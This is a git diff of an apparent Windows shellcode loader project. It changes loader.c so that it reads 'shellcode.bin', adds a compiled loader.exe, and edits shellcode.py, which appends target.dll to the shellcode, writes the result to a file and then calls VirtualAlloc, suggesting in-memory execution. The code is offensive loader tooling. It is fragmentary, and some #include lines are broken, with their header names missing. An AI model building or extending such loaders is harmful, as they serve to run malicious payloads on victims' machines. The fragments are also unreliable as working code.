diff --git a/loader.c b/loader.c index f97c48f..3b51af1 100644 --- a/loader.c +++ b/loader.c @@ -1,11 +1,12 @@ #include #include +#include int main() { DWORD bytesRead; BOOL fileReadSuccess, filePermChangeSuccess, processCreateSuccess; - const TCHAR* filePath = _T("shellcode.h"); + const TCHAR* filePath = _T("shellcode.bin"); printf("Loader started!\n"); printf("Shellcode path: %s\n", filePath); diff --git a/loader.exe b/loader.exe new file mode 100644 index 0000000..c6434aa Binary files /dev/null and b/loader.exe differ diff --git a/shellcode.py b/shellcode.py index 3059269..a09a6fc 100644 --- a/shellcode.py +++ b/shellcode.py @@ -368,7 +368,7 @@ shellcode = bytearray(sh) print(shellcode) # Write the (shellcode+target_dll) to a file for later use with open("target.dll", "rb") as dll_file: - with open("shellcode.sh", "wb") as binary_file: + with open("shellcode.bin", "wb") as binary_file: shellcode += dll_file.read() binary_file.write(shellcode) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p